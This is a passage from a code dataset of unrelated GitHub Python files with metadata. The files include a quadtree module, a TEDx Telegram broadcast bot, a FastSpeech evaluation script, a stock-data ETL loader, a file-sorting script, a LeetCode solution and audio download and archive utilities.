self.myXmax, self.middleY, self, self.myLevel + 1, \"0\",2),\n QuadTree(self.ElementNum, self.Domain,self.middleX, self.middleY, self.myXmax, self.myYmax, self, self.myLevel + 1, \"0\",3),\n QuadTree(self.ElementNum, self.Domain,self.myXmin, self.middleY, self.middleX, self.myYmax, self, self.myLevel + 1, \"0\",4)] \n for i in range (0,4):\n self.myChildren[i].Integration_Input() \n \n \n def amIcut(self):\n \"\"\"\n This function checks whether the current object (cut element's leaf) is cut\n The object's string code is updated as follows\n # 0 = totally outside\n # 1 = totally inside\n # 2 = cut \n \n Input : The current object\n Output : A Boolen (0 or 1)\n \n \"\"\"\n \n if self.Domain.contains(self.myCell):\n self.myStringCode = '1'\n return False\n \n elif self.myCell.intersects(self.Domain):\n self.myStringCode = '2'\n return True\n \n else:\n self.myStringCode = '0'\n return False\n\n \n def generateQuadtree(self, maxLevel):\n \"\"\"\n This functions generates quadtree for the cut element recursively till the specified depth\n \n Input : Current Object & The depth to which Quad-tree is to be performed\n Output : None\n \n \"\"\" \n if (self.myLevel < maxLevel and self.amIcut()):\n self.divideMe()\n for children in self.myChildren:\n children.generateQuadtree(maxLevel)\n \n \n def Get_myNoOfLeaves(self):\n \"\"\"\n This function returns number of leaves for a cut element\n \n Input : The cut element object\n Output : Number of leaves for the cut element\n \n \"\"\" \n if (self.myChildren!= None):\n for children in self.myChildren:\n children.Return_Leaves_list()\n else:\n QuadTree.myNoOfLeaves+=1\n \n return QuadTree.myNoOfLeaves\n \n \n def Return_Leaves_list(self):\n \"\"\"\n This function returns the minimum and maximum bounds for each leaf of a cut element\n \n Input : The cut element object\n Output : A list containing minimum and maximum bounds for each leaf of a cut element\n \n \"\"\" \n if(self.myfather==None):\n del Leaves[:]\n \n if (self.myChildren!= None):\n for children in self.myChildren:\n children.Return_Leaves_list()\n else:\n QuadTree.myNoOfLeaves+=1\n temp=[(self.myXmin,self.myYmin),(self.myXmax,self.myYmax)]\n if temp not in Leaves:\n Leaves.append(temp)\n \n return Leaves\n \n \n def Integration_Input(self):\n \n \"\"\"\n This function creates the label of each node.\n for e.g, if a node has the following label [4,2,1]. This means:\n 4 -> parent node in level 1\n 2 -> parent node in level 2\n 1 -> node ID in level 2\n \n Input: The current object\n Output: None\n \"\"\"\n if self.myfather != None:\n for i in range (0,len(self.myfather.label)):\n self.label.append(self.myfather.label[i])\n self.label.append(self.ID)\n\n \n def Return_Label_list(self, Label):\n \"\"\"\n This function returns the label for each leaf of a cut element\n for e.g, if a leaf has the following label [4,2,1]. This means:\n 4 -> parent node in level 1\n 2 -> parent node in level 2\n 1 -> leaf node in level 2\n \n Input : The cut element object\n Output : None\n \n \"\"\" \n if(self.myfather==None):\n del Label[:]\n \n if (self.myChildren != None):\n for children in self.myChildren:\n children.Return_Label_list(Label)\n if children.myStringCode !='2':\n temp = children.label\n Label.append(temp)\n \n \n def plotTreeToConsole(self):\n \"\"\"\n This function plots the Quad tree of a cut element to console\n \n Input : The cut element object\n Output : None\n \n \"\"\" \n x,y = self.myCell.exterior.xy\n plt.plot(x,y, color='blue',linewidth = 1.0)\n if (self.myChildren != None):\n for children in self.myChildren:\n children.plotTreeToConsole()\n \n \n","repo_name":"Msalmanyousaf/FCM_in_Abaqus","sub_path":"Python Scripts/My_CutCell_QuadTree.py","file_name":"My_CutCell_QuadTree.py","file_ext":"py","file_size_in_byte":6283,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"36136204168","text":"import os\nimport time\nfrom typing import List\n\nfrom flask import Flask, request\n\nimport telebot\n\nfrom app import markups, mongo\n\nfrom dotenv import load_dotenv\n\nload_dotenv()\n\nTOKEN = os.environ[\"TOKEN\"]\nPHOTO_ID = os.environ[\"PHOTO_ID\"]\nCHANNEL = os.environ[\"CHANNEL\"]\nADMIN = os.environ[\"ADMIN\"]\n\nbot = telebot.TeleBot(TOKEN)\nserver = Flask(__name__)\n\ndef send_messages(ids: List[str], func, **kwargs):\n count = 0\n for id in ids:\n try:\n func(id, **kwargs)\n count += 1\n except:\n continue\n if count % 20 == 0:\n time.sleep(.7)\n\n\n@bot.message_handler(commands=[\"start\"], chat_types=[\"private\"])\ndef start(message):\n \"\"\"\n Handle start messages\n \"\"\"\n user = message.from_user\n if user.id == int(ADMIN):\n message = '''Hi Admin, any messsage you send to the bot would be broadcast to all users\n\nExample\n```\n/sendphoto\nI am the tedx Bot\n```\n\nThis would send the a photo with the caption \"I am the tedx Bot\" to all abot users\n\nAny message sent to the bot that is not a /start message would be broadcast to all users\n'''\n bot.send_message(user.id, text=message, parse_mode='MarkdownV2')\n return\n\n # Add new user to the broadcasting database\n mongo.insert_new_user(\n id=user.id,\n username=user.username,\n first_name=user.first_name,\n last_name=user.last_name,\n )\n\n message_text_list = message.text.split(\" \")\n users_firstname = user.first_name.split(\" \")[0]\n\n # Updates referal if the start message is more than length of 1 string\n if len(message_text_list) > 1:\n mongo.update_referral(message_text_list[-1], user.id)\n\n # Reply /start message\n bot.send_photo(\n message.chat.id,\n caption=f\"Hi {users_firstname.title()}, My name is Alex 👨‍✈️, the TEDxbot, and I am here to make your experience memorable.\",\n photo=PHOTO_ID,\n reply_markup=markups.get_start_markup(),\n )\n\n\n@bot.callback_query_handler(func=lambda call: call.data == \"start\")\ndef start_query_handler(call):\n \"\"\"\n Handle the \"start\" Callback query\n \"\"\"\n # Initialise variables\n user_id = call.from_user.id\n chat_id = call.message.chat.id\n\n # Check if user is a member of TEDx Channel, if not, end function execution\n if bot.get_chat_member(CHANNEL, user_id=user_id).status == \"left\":\n bot.send_message(\n chat_id,\n text=\"You're not a member of the channel⁉\\n\\\nYou need to join the [TEDxCovenantUniversity Channel](https://t.me/tedxcovenantuniversity)\",\n parse_mode=\"MarkdownV2\",\n )\n\n bot.send_message(\n chat_id,\n text=\"I have joined the channel\",\n reply_markup=markups.get_start_markup(),\n )\n return\n\n else:\n bot.send_message(\n chat_id,\n text=\"✅Thank you for joining the \\\nTEDxCovenantUniversity Community\",\n parse_mode=\"MarkdownV2\",\n reply_markup=markups.get_next_markup(),\n )\n\n\n@bot.callback_query_handler(func=lambda call: call.data == \"link\")\ndef get_referral_link(call):\n # Creates a referral link for the user and adds them as a participant\n\n user = call.from_user\n chat = call.message.chat\n link_caption = (\n \"You can share this link with your friends and win some amazing prizes🤑\\n\"\n )\n\n # Checks if user has a telegram usename\n if not user.username:\n bot.send_message(\n chat.id,\n text=f\"{link_caption}\\nhttps://t.me/tedxcu_bot/?start=_0_{user.id}_\",\n )\n else:\n bot.send_message(\n chat.id,\n text=f\"{link_caption}\\nhttps://t.me/tedxcu_bot/?start=_{user.username}_0_{user.id}_\",\n )\n\n mongo.insert_new_participant(\n id=user.id,\n username=user.username,\n first_name=user.first_name,\n last_name=user.last_name,\n )\n\n\n@bot.message_handler(func=lambda message: message.text.startswith(\"/sendphoto\"))\ndef broadcast_image(message):\n \"\"\"\n Handles messages with meant for image captions\n \"\"\"\n # Check if User is admin\n if message.from_user.id != int(ADMIN):\n return\n\n # Remove \"/sendphoto\" from message.text\n caption = \"\\n\".join(message.text.split(\"\\n\")[1:])\n\n # Broadcast image with message.text as caption\n image_id = mongo.get_image_id()\n\n user_ids = mongo.get_ids()\n send_messages(user_ids, func=bot.send_photo, photo=image_id, caption=caption)\n\n\n@bot.message_handler(func=lambda message: message.from_user.id == int(ADMIN))\ndef broadcast_message(message):\n \"\"\"\n Brodcasts messages from admin to all bot users\n \"\"\"\n user_ids = mongo.get_ids()\n send_messages(user_ids, func=bot.send_message, text=message.text)\n\n\n@bot.message_handler(content_types=[\"photo\"])\ndef save_image(message):\n \"\"\"\n Get's image ID from message and upload to Mongo\n \"\"\"\n if message.from_user.id != int(ADMIN):\n return\n image_id = message.photo[0].file_id\n mongo.change_image_id(image_id)\n\n\n@server.route(\"/\" + TOKEN, methods=[\"POST\"])\ndef getMessage():\n json_string = request.get_data().decode(\"utf-8\")\n update = telebot.types.Update.de_json(json_string)\n bot.process_new_updates([update])\n return \"!\", 200\n\n\n@server.route(\"/\")\ndef webhook():\n bot.remove_webhook()\n bot.set_webhook(url=\"https://tedx-cu-bot.herokuapp.com/\" + TOKEN)\n return \"!\", 200\n\n\nif __name__ == \"__main__\":\n server.run(host=\"0.0.0.0\", port=int(os.environ.get(\"PORT\", 5000)))\n","repo_name":"HackerManPeter/tedx-covenant-university-telegram-bot","sub_path":"app/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5511,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"27605043927","text":"import torch\nimport torch.nn as nn\nimport argparse\nimport numpy as np\nimport random\nimport time\nimport shutil\nimport os\nimport matplotlib.pyplot as plt\n\nimport hparams as hp\nimport audio\nimport utils\nimport dataset\nimport text\nimport model as M\nimport waveglow\n\ndevice = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n\n\ndef get_DNN(num):\n checkpoint_path = \"checkpoint_\" + str(num) + \".pth.tar\"\n model = nn.DataParallel(M.FastSpeech()).to(device)\n model.load_state_dict(torch.load(os.path.join(hp.checkpoint_path,\n checkpoint_path))['model'])\n model.eval()\n return model\n\n\ndef synthesis(model, phn, alpha=1.0):\n text = np.array(phn)\n text = np.stack([text])\n src_pos = np.array([i+1 for i in range(text.shape[1])])\n src_pos = np.stack([src_pos])\n sequence = torch.from_numpy(text).cuda().long()\n src_pos = torch.from_numpy(src_pos).cuda().long()\n\n with torch.no_grad():\n _, mel = model.module.forward(sequence, src_pos, alpha=alpha)\n return mel[0].cpu().transpose(0, 1), mel.contiguous().transpose(1, 2)\n\n\ndef get_data():\n test1 = \"Accept the things to which fate binds you, and love the people with whom fate brings you together, but do so with all your heart\"\n test2 = \"We suffer more often in imagination than in reality\"\n test3 = \"Wasserstein distance or Kantorovich Rubinstein metric is a distance function defined between probability distributions on a given metric space\"\n\n data_list = list()\n data_list.append(text.text_to_sequence(test1, hp.text_cleaners))\n data_list.append(text.text_to_sequence(test2, hp.text_cleaners))\n data_list.append(text.text_to_sequence(test3, hp.text_cleaners))\n\n return data_list\n\n\nif __name__ == \"__main__\":\n # Test\n wave_glow = torch.hub.load('NVIDIA/DeepLearningExamples:torchhub', 'nvidia_waveglow', model_math='fp32')\n wave_glow = wave_glow.remove_weightnorm(wave_glow)\n wave_glow.cuda().eval()\n WaveGlow = wave_glow\n parser = argparse.ArgumentParser()\n parser.add_argument('--step', type=int, default=18000)\n parser.add_argument(\"--alpha\", type=float, default=1.0)\n args = parser.parse_args()\n\n print(\"use griffin-lim and waveglow\")\n model = get_DNN(args.step)\n data_list = get_data()\n for i, phn in enumerate(data_list):\n mel, mel_cuda = synthesis(model, phn, args.alpha)\n if not os.path.exists(\"results\"):\n os.mkdir(\"results\")\n plt.figure(figsize=(20,5))\n plt.imshow(mel_cuda.detach().cpu()[0], aspect='auto', origin='lower')\n plt.savefig(\"results/\"+str(args.step)+\"_\"+str(i)+\".png\")\n audio.tools.inv_mel_spec(\n mel, \"results/\"+str(args.step)+\"_\"+str(i)+\".wav\")\n waveglow.inference.inference(\n mel_cuda, WaveGlow,\n \"results/\"+str(args.step)+\"_\"+str(i)+\"_waveglow.wav\")\n print(\"Done\", i + 1)\n\n s_t = time.perf_counter()\n for i in range(100):\n for _, phn in enumerate(data_list):\n _, _, = synthesis(model, phn, args.alpha)\n print(i)\n e_t = time.perf_counter()\n print((e_t - s_t) / 100.)\n","repo_name":"glycine-addict/FastSpeech","sub_path":"eval.py","file_name":"eval.py","file_ext":"py","file_size_in_byte":3139,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"16747544965","text":"from cgitb import reset\nfrom json import load\nimport telebot\nimport dotenv\nimport requests\nfrom bs4 import BeautifulSoup\nfrom pathlib import Path\nimport os\n\ndef load_envs(path: str) -> str:\n dotenv_path = Path(path)\n dotenv.load_dotenv(dotenv_path=dotenv_path)\n\nTELEGRAM_TOKEN = os.getenv(\"TELEGRAM_TOKEN\")\n\ndef parse_table(url):\n SNILS = os.getenv(\"SNILS\")\n snils_list = SNILS.split(',')\n html_text = requests.get(url)\n soup = BeautifulSoup(html_text.content, 'html5lib')\n table = soup.find(\"table\", class_=\"namesTable\")\n i = 0\n pos = {}\n for row in table.find_all(attrs={'class':'fio'})[1:]:\n i += 1\n if row.text in snils_list:\n pos.update({f\"{i}\":f\"{row.text}\"})\n return pos\n\n\ndef main():\n # bot = telebot.TeleBot(TELEGRAM_TOKEN)\n load_envs('../.env')\n parse_table('https://priem.mirea.ru/accepted-entrants-list/personal_code_rating.php?competition=1714961437918539062&prior=any&documentType=original&accepted=1&acceptedEntrant=any&onlyActive=1&onlyPaid=0')\n\n\n\nif __name__ == '__main__':\n main()","repo_name":"nocturnalq/mirea_committee_bot","sub_path":"app/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1069,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"25456853054","text":"import os, json\nfrom datetime import datetime\nfrom Common.dw_tables import dw_conn, fact_table\nimport sqlalchemy\nfrom sqlalchemy import text\n\n\ncurrent_file = __file__ # Gets the current file path\nparent_directory = os.path.abspath(os.path.join(current_file, os.pardir))\n\ndef load_historical_stock_data():\n stocks = dw_conn.execute(text(\"\"\"SELECT \"Ma_cp\" FROM thong_tin_co_phieu WHERE \"Nganh\" <> 'Chứng quyền'\"\"\")).fetchall()\n jfile = open(f'{parent_directory}/Extract/Stocks_Price/historical_stocks_data.json', encoding='utf-8')\n data_obj = json.load(jfile)\n times = dw_conn.execute(text('SELECT \"Thoi_gian\" FROM thoi_gian')).fetchall()\n\n for stock in stocks:\n for day in data_obj[stock[0]]:\n if day['date'] == \"Ngày\" or day['close_price'][0] == \"Đóng cửa\":\n continue\n else:\n time = datetime.strptime(day['date'], '%d/%m/%Y')\n if(time.date(),) not in times:\n continue\n time_str = time.strftime('%Y-%m-%d')\n query = sqlalchemy.insert(fact_table).values(\n Thoi_gian = time,\n scj_id = 'scj_' + time_str,\n nl_id = 'nl_' + time_str,\n ls_id = 'ls_' + time_str,\n Ma_cp = stock[0],\n Gia_dong_cua = float(day['close_price'][0].replace(',', '.')),\n Thay_doi_phan_tram = day['change%'] if day['change%'] == 0.0 else float(day['change%'].replace('%', '').replace(',', '.')),\n Thay_doi = day['change'] if day['change'] == 0.0 else float(day['change'].replace(',', '')),\n Gia_thap_nhat = float(day['lowest'].replace(',', '.')),\n Gia_cao_nhat = float(day['highest'].replace(',', '.')),\n Tong_KLGD = float(day['kl'].replace('.', '')) \n )\n\n dw_conn.execute(query)\n\n\nif __name__ == \"__main__\": \n load_historical_stock_data()\n","repo_name":"Tran-Quang-Phuc/Data_Pipeline","sub_path":"dags/ETL_Manager/load_historical_main_transactions.py","file_name":"load_historical_main_transactions.py","file_ext":"py","file_size_in_byte":1999,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"21303062745","text":"##########################scrivo nome cartella nel file di python-->scorrendo i file ogni volta legge il contenuto del file e li sposta nella cartella corrispondente se all interno c e scritto il nome della cartella\n#per esempio se nel file c e scritto cartella=PROVA , legge il file e sposta il file nella cartella prova(se esiste)\n\n\n##SPOSTA IL FILE IN UNA CARTELLA SE NEL FILE E CONTENUTO IL NOME DI QUELLA CARTELLA \t\tNEL FILE C E SCRITTO CARTELLA==nomecartella per esempio sse si chima fibonacci \t\t\tCARTELLA==fibonacci\nimport os\nimport shutil\npath=\"C:\\\\Users\\\\Attilio\\\\Desktop\\\\file_python\\\\\"\nos.startfile(path)\n# ~ os.rename(\"path/to/current/file.foo\", \"path/to/new/destination/for/file.foo\")\n# ~ os.replace(\"path/to/current/file.foo\", \"path/to/new/destination/for/file.foo\")\n\n# ~ direcory=[f for f in path.iterdir() if f.is_dir()]\n# ~ shutil.move(\"C:\\\\Users\\\\Attilio\\\\Desktop\\\\file_python\\\\tk_inter_input\\\\hellotxt\", \"C:\\\\Users\\\\Attilio\\\\Desktop\\\\file_python\\\\tk_inter_input\\\\hello\\\\hellotxt\")\n# ~ os.walk(directory)\n#CARTELLA==fibonacci\n\n\n# ~ print(os.path.isdir(path1))\n# ~ print(os.listdir(path)) # returns list\n# ~ print\nlistafiles=[]\nlistafolders=[]\n\nfor x in os.listdir(path):#guarda dentro questa cartella e se ci sono cartelle dimmi come si chiamano\n\tpath1=path+\"\\\\\"+str(x)\t#path per accedere a file e cartelle\n\tif (os.path.isdir(path+\"\\\\\"+x))==True:\n\t\tlistafolders.append(x)\n\t\t\t# ~ print(x)\n\telse:\n\t\tlistafiles.append(x)\n# ~ print(listafolders)\t\n# ~ print(listafiles)# ~ print(x)\n#uguale\n#VUOI SPOSTARE QUESTO FILE IN UNA CARTELLA=? si sceglie nome cartella solo allinizio\n#dato un pezzo di stringa cerca nomi file che contengono quella strigna e li sposta nella cartella con un nome simile(perchü anch essa continene la stringa)\n# ~ while True:\n\t# ~ stringa1=input(\"str\t\t\")#inserire pezzo di nome in comune tra files e cartelle\n# ~ print(listafiles)\t\n\t# ~ stringa2=\n\t# ~ stringa=stringa1.lower()\nnomefile_corrente=os.path.basename(__file__)\n# ~ print(\"nomequestofile_su_cui_sto_scrivendo\t\t\",nomefile_corrente)\nfor x in listafiles:\n\t\t# ~ print(\"nome file\t\",x)\n\t\t# ~ cartella_destinazione=input(\"nome cartella destinazione\t(press enter to skip)\"\t)\n\t\t# ~ minuscolo=x.lower()\n\t\n\t\t# ~ if cartella_destinazione!=\"\":\n\t\t\t# ~ vuoi_spostare=input(\" vuoi spostare questo file %s, nella cartella %s (enter yes or y if u want) press enter if u dont want?\"%(minuscolo,cartella_destinazione))\n\t\t\t# ~ if vuoi_spostare==\"yes\" or \"y\":\n\t\t\t# ~ print(dove)\n\t\t\n\t\tpathfile=\"C:\\\\Users\\\\Attilio\\\\Desktop\\\\file_python\\\\\"+str(x)\n\t\tif x!=nomefile_corrente:\n\t\t\t# ~ print(x)\n\t\t\t\t\t\n\t\t\t\t\t\t\t# ~ print(pathfile)\n\t\t\t\t\t\t\t# ~ print(pathdestinazione)\n\t\t\t\t\t\t\t# ~ if str(cartella) in str(x):\n#def ciao():\t\t\t\t\t\t# ~ print(str(x))\n\t\t\ttry:\t\t\t\n\t\t\t\t\twith open(pathfile) as f:\n\t\t\t\t\t\n\t\t\t\t\t\tlines = f.readlines()\t\t\t\n\t\t\t\t\t\t# ~ print(lines)\n\t\t\t\t\tcartella_destinazione=\"\"\t\n\t\t\t\t\tfor y in lines:\n\t\t\t\t\t\tif \"CARTELLA==alarm_clock\" in y:\n\t\t\t\t\t\t\tcartella_destinazione=\"alarm_clock\"\n\t\t\t\t\t\t\t# ~ cartella_destinazione=cartella_destinazione\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tpathdestinazione=\"C:\\\\Users\\\\Attilio\\\\Desktop\\\\file_python\\\\\"+str(cartella_destinazione)+\"\\\\\"+str(x)\n\t\t\t\t\t\t\tshutil.move(pathfile, pathdestinazione)\t\n\t\t\t\t\t\t\tprint(x)\n\t\t\texcept:\n\t\t\t\tcontinue\n\n\t\t\n\t\t\t\t#\n\t\t\t\t\t\t# ~ print(\"e una prova\")\n\t\t\t\t\t\t# ~ try:\t\t\t\n\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t# ~ except:\n\t\t\t\t\t# ~ print(\"error , this folder does not exist\")\n\t\t\t\t\t# ~ continue\n\t\t\t# ~ if stringa in minuscolo:\n\t\t\t\t# ~ print(\"Misha %s and %s around\"%('walked',x))\n\n\t\t\t\t# ~ print()\n\t\t\t\t# ~ if yes_or_no==\"yes\" or \"y\":\n\t\t\t\t# ~ print(x)\n\t\t\t\t# ~ for cartella1 in listafolders:\n\t\t\t\t\t# ~ cartella=cartella1.lower()\n\t\t\t\t\t# ~ if stringa in cartella:\n\t\t\t\t\t\t# ~ print(cartella)\n\t\t\t# ~ if \"matr\" in cartella:\n\t\t\t\t# ~ print(cartella)\n\t\t\t\t# ~ print(cartella)\n\t\t\t\t\n\t\t\t\t# ~ if \"matr\" in x:\n\t\t\t\t\t# ~ print(x)\n\t\t\t\t# ~ if cartella in x:\n\t\t\t\t\t# ~ print(x) \n\t\t\t\t\n\t\t\t\t\t# ~ print(x)\n\t\t\t\t\t\n\t\t\t\t\t# ~ if listafolders[0] in x:\n\t\t\t\t\t\t# ~ print(\"ciao\")\t\ndef ciao():\n\tdef sposta_nella_cartella_prova_se_e_una_prova():\n\t\t#per capire se e una prova apre il file e legge se nel file ci e scritto fileprova\n\t\twith open(\"C:\\\\Users\\\\Attilio\\\\Desktop\\\\file_python\\\\tk_inter_input\"+\"\\\\tkmusic.py\") as f:\n\t\t\tlines = f.readlines()\t\t\t\n\t\t\tprint(lines)\n\n\t\tfor x in lines:\n\t\t\tif \"fileprova\" in x:\n\t\t\t\tprint(\"e una prova\")\n\t# ~ print(x)\n# ~ if \"fileprova\" in lines:\n\t# ~ print(\"ciaociao\")\n\t\n\t# ~ print(\"ce\")\n# ~ print(path1)\n# ~ pathfile=path1+\"\\\\\"+str(\"hello2.txt\")\n# ~ print(pathfile)\t\n# ~ pathdestinazione=path1+\"\\\\\"+str(listafolders[0])+\"\\\\\"+str(\"hello2.txt\")\n# ~ print(pathdestinazione)\n\t\t# ~ print(os.path.isdir(path1))\n\t\t# ~ print(os.listdir(path))\n# ~ import os\n# pathfile=path1+\"\\\\\"+str(x)\n# ~ print(pathfile)\t\n# ~ pathdestinazione=path1+\"\\\\\"+str(listafolders[0])+\"\\\\\"+str(x)~ import shutil\n\n# ~ os.rename(\"path/to/current/file.foo\", \"path/to/new/destination/for/file.foo\")\n# ~ os.replace(\"path/to/current/file.foo\", \"path/to/new/destination/for/file.foo\")\n","repo_name":"paolocassina2/file_python2","sub_path":"file_python/metti_ordine_cartelle/esegui_per_ordinare_cartella/sortdirctory5.py","file_name":"sortdirctory5.py","file_ext":"py","file_size_in_byte":4907,"program_lang":"python","lang":"it","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"43648510589","text":"from dataclasses import dataclass\n\nfrom fastapi import FastAPI, APIRouter\nfrom fastapi.responses import JSONResponse\nfrom fastapi import Response, Depends\n\n# all routes\nfrom routers import playlist_action, search_music\n\n# from Model.schema import UserRegistration\n\n\n\n# server initilzation with configs\napp = FastAPI(\n title=\"Synched\",\n description=\"An app to help DJs find compatible songs by\\n **BPM, GENRE, COUNTRY AND POPULARITY**\",\n version=\"0.0.1\",\n contact={\n \"name\": \"Shadrack Meoli\",\n \"email\": \"shadcodes@gmail.com\"\n },\n redoc_url=\"/redoc\"\n)\n\n\n# pluging in the routes to the entry file\napp.include_router(playlist_action.router)\napp.include_router(search_music.router)","repo_name":"shadmeoli/Synched","sub_path":"server/src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":716,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"21"} +{"seq_id":"14782847064","text":"'''\nhttps://leetcode.com/problems/patching-array/\n\nGiven a sorted positive integer array nums and an integer n, add/patch elements to the array such that any number in range [1, n] inclusive can be formed by the sum of some elements in the array. Return the minimum number of patches required.\n\nExample 1:\nnums = [1, 3], n = 6\nReturn 1.\n\nCombinations of nums are [1], [3], [1,3], which form possible sums of: 1, 3, 4.\nNow if we add/patch 2 to nums, the combinations are: [1], [2], [3], [1,3], [2,3], [1,2,3].\nPossible sums are 1, 2, 3, 4, 5, 6, which now covers the range [1, 6].\nSo we only need 1 patch.\n\nExample 2:\nnums = [1, 5, 10], n = 20\nReturn 2.\nThe two patches can be [2, 4].\n\nExample 3:\nnums = [1, 2, 2], n = 5\nReturn 0.\n'''\n\nclass Solution(object):\n def minPatches(self, nums, n):\n \"\"\"\n :type nums: List[int]\n :type n: int\n :rtype: int\n \"\"\"\n i = 0\n bound = 1 # we can cover [0, bound)\n ans = 0\n while bound <= n:\n if i < len(nums) and nums[i] <= bound:\n bound += nums[i]\n i += 1\n else:\n ans += 1\n bound *= 2\n return ans\n\n\nif __name__ == '__main__':\n f = Solution().minPatches\n assert f([], 8) == 4\n assert f([1, 3], 6) == 1\n assert f([1, 5, 10], 20) == 2\n assert f([1, 2, 2], 5) == 0\n assert f([1, 2, 31, 33], 2147483647) == 28\n","repo_name":"irachex/leetcode","sub_path":"patching-array.py","file_name":"patching-array.py","file_ext":"py","file_size_in_byte":1413,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"21"} +{"seq_id":"10643601408","text":"\r\nimport hashlib\r\nimport eel\r\n\r\neel.init('Index')\r\nx = ''\r\ny = ''\r\n\r\n@eel.expose\r\ndef browsefunc(path):\r\n global x\r\n hash_md5 = hashlib.md5()\r\n with open(path, \"rb\") as f:\r\n for chunk in iter(lambda: f.read(4096), b\"\"):\r\n hash_md5.update(chunk)\r\n code1 = hash_md5.digest()\r\n x = code1\r\n \r\n@eel.expose\r\ndef browsefunc1(path2):\r\n global y\r\n hash_md5 = hashlib.md5()\r\n with open(path2, \"rb\") as f:\r\n for chunk in iter(lambda: f.read(4096), b\"\"):\r\n hash_md5.update(chunk)\r\n code1 = hash_md5.digest()\r\n y = code1\r\n \r\n@eel.expose \r\ndef gofunc():\r\n global x,y\r\n if x == y:\r\n return \"Both are same\"\r\n else:\r\n return \"They are different\"\r\n \r\n \r\neel.start('index.html') ","repo_name":"rudra98/GUI","sub_path":"py with js/testGUI.py","file_name":"testGUI.py","file_ext":"py","file_size_in_byte":774,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"36442075998","text":"import os\nimport subprocess\nfrom warnings import warn\nimport urllib\nimport tarfile\n\nfrom tqdm import tqdm\nimport numpy as np\nimport audiofile as af\nfrom torch.utils.data import Subset\n\nfrom ..utils import run_worker_threads\n\n\n__doctest_skip__ = ['load']\n\n\ndef load(\n filename,\n *,\n duration=None,\n offset=0,\n):\n r\"\"\"Load audio file.\n\n If an error occurrs during loading as the file could not be found,\n is empty, or has the wrong format an empty signal is returned and a warning\n shown.\n\n Args:\n file (str or int or file-like object): file name of input audio file\n duration (float, optional): return only a specified duration in\n seconds. Default: `None`\n offset (float, optional): start reading at offset in seconds.\n Default: `0`\n\n Returns:\n tuple:\n\n * **numpy.ndarray**: two-dimensional array with shape\n `(channels, samples)`\n * **int**: sample rate of the audio file\n\n Example:\n >>> signal, sampling_rate = load('speech.wav')\n\n \"\"\"\n signal = np.array([[]]) # empty signal of shape (1, 0)\n sampling_rate = None\n try:\n signal, sampling_rate = af.read(filename,\n duration=duration,\n offset=offset,\n always_2d=True)\n except ValueError:\n warn(f'File opening error for: {filename}', UserWarning)\n except (IOError, FileNotFoundError):\n warn(f'File does not exist: {filename}', UserWarning)\n except RuntimeError:\n warn(f'Runtime error for file: {filename}', UserWarning)\n except subprocess.CalledProcessError:\n warn(f'ffmpeg conversion failed for: {filename}', UserWarning)\n return signal, sampling_rate\n\n\ndef download_url(\n url,\n root,\n *,\n filename=None,\n md5=None,\n):\n r\"\"\"Download a file from an url to a specified directory.\n\n Args:\n url (str): URL to download file from\n root (str): directory to place downloaded file in\n filename (str, optional): name to save the file under.\n If `None`, use basename of URL. Default: `None`\n md5 (str, optional): MD5 checksum of the download.\n If None, do not check. Default: `None`\n\n Returns:\n str: path to downloaded file\n\n \"\"\"\n root = safe_path(root)\n if not filename:\n filename = os.path.basename(url)\n filename = os.path.join(root, filename)\n\n os.makedirs(root, exist_ok=True)\n\n # downloads file\n if not os.path.isfile(filename):\n bar_updater = _gen_bar_updater(tqdm(unit='B', unit_scale=True))\n try:\n print('Downloading ' + url + ' to ' + filename)\n urllib.request.urlretrieve(url, filename, reporthook=bar_updater)\n except OSError:\n if url[:5] == 'https':\n url = url.replace('https:', 'http:')\n print('Failed download. Trying https -> http instead.'\n ' Downloading ' + url + ' to ' + filename)\n urllib.request.urlretrieve(url, filename,\n reporthook=bar_updater)\n return safe_path(filename)\n\n\ndef download_url_list(\n urls,\n root,\n *,\n num_workers=0,\n):\n r\"\"\"Download files from a list of URLs to a specified directory.\n\n Args:\n urls (list of str or dict): either list of URLs or dictionary\n with URLs as keys and with either filenames or tuples of\n filename and MD5 checksum as values. Uses basename of URL if\n filename is `None`. Performs no check if MD5 checksum is `None`\n root (str): directory to place downloaded files in\n num_workers (int, optional): number of worker threads\n (0 = len(urls)). Default: `0`\n\n \"\"\"\n # always convert to dict\n if type(urls) is list:\n urls = {x: None for x in urls}\n\n # download file and extract\n def _task(url, filename):\n md5 = None\n if type(filename) is tuple:\n filename, md5 = filename\n return download_url(url, root, filename=filename, md5=md5)\n\n # start workers\n params = [(url, filename) for url, filename in urls.items()]\n return run_worker_threads(num_workers, _task, params)\n\n\ndef extract_archive(\n filename,\n *,\n out_path=None,\n remove_finished=False,\n):\n r\"\"\"Extract archive.\n\n Currently `tar.gz` and `tar` archives are supported.\n\n Args:\n filename (str): path to archive\n out_path (str, optional): extract archive in this folder.\n Default: folder where archive is located in\n remove_finished (bool, optional): if `True` remove archive after\n extraction. Default: `False`\n\n \"\"\"\n print(f'Extracting {filename}')\n if out_path is None:\n out_path = os.path.dirname(filename)\n if filename.endswith('tar.gz'):\n tar = tarfile.open(filename, 'r:gz')\n elif filename.endswith('tar'):\n tar = tarfile.open(filename, 'r:')\n else:\n raise RuntimeError('Archive format not supported.')\n tar.extractall(path=out_path)\n tar.close()\n if remove_finished:\n os.unlink(filename)\n\n\ndef sampling_rate_after_transform(\n dataset,\n):\n r\"\"\"Sampling rate of data set after all transforms are applied.\n\n A change of sampling rate by a transform is only recognized, if that\n transform has the attribute 